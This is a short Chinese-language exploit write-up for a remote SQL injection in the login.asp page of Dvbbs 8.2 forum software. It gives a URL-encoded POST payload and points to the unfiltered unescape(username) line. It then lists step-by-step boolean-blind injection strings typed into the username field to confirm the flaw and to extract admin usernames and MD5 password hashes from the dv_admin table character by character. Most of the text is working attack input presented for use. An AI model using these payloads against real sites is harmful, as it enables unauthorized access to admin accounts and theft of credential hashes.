Dvbbs8.2 access/sql版login.asp远程sql注入漏洞
漏洞分析：password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
编辑说明下 刚有人问语句 具体就是
If ajaxPro Then username = unescape(username)
这个没有过滤
漏洞利用：(access版)
由于使用验证码，该漏洞只能纯手工进行注入尝试，在用户登陆页面，用户名处构造sql语句
如：
判断
Where’ and ‘1’=’1
where’ and ‘1’=’2
密码任意6位，输入验证码
根据返回信息，第一条显示用户名或密码错误第二条显示无此用户
猜解用户
where’ and 1=(select count(*) from dv_admin where left(username,1)=’a') and ‘1′=’1
where’ and 1=(select count(*) from dv_admin where left(username,2)=’ad’) and ‘1′=’1
……………………….
……………………
…………………….
猜解密码(md5加密)
where’ and 1=(select count(*) from dv_admin where left(password,1)=’1′) and ‘1′=’1
where’ and 1=(select count(*) from dv_admin where left(password,2)=’15′) and ‘1′=’1
……………………
……………………
…………………..
简单测试官方sql版也存在漏洞，利用过程不写了
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